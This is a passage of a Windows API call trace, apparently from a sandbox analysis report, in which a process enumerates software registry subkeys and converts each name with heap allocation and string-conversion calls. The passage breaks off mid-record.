Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.528] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xd, lpName=0x2163058, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.528] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xe, lpName=0x2163058, cchName=0x104 | out: lpName="IAM") returned 0x0 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.528] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xf, lpName=0x2163058, cchName=0x104 | out: lpName="IME") returned 0x0 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x2169180, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.529] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x10, lpName=0x2163058, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x2169258, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.529] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x11, lpName=0x2163058, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x2169180, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.529] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x12, lpName=0x2163058, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x2169258, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.529] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x13, lpName=0x2163058, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x2169180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0140.529] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.529] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.530] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x14, lpName=0x2163058, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x2169258, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.530] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x15, lpName=0x2163058, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.530] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x16, lpName=0x2163058, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x2169258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.530] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.530] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x17, lpName=0x2163058, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.530] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x2169180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.531] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x18, lpName=0x2163058, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x2169258, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.531] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x19, lpName=0x2163058, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x2169180, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.531] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1a, lpName=0x2163058, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x2169258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.531] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.531] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1b, lpName=0x2163058, cchName=0x104 | out: lpName="MSF") returned 0x0 [0140.531] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x2169180, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.532] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1c, lpName=0x2163058, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x2169258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.532] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1d, lpName=0x2163058, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.532] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1e, lpName=0x2163058, cchName=0x104 | out: lpName="Office") returned 0x0 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x2169258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0140.532] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.532] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.533] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1f, lpName=0x2163058, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.533] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x20, lpName=0x2163058, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x2169258, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.533] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x21, lpName=0x2163058, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x2169180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0140.533] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.533] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) 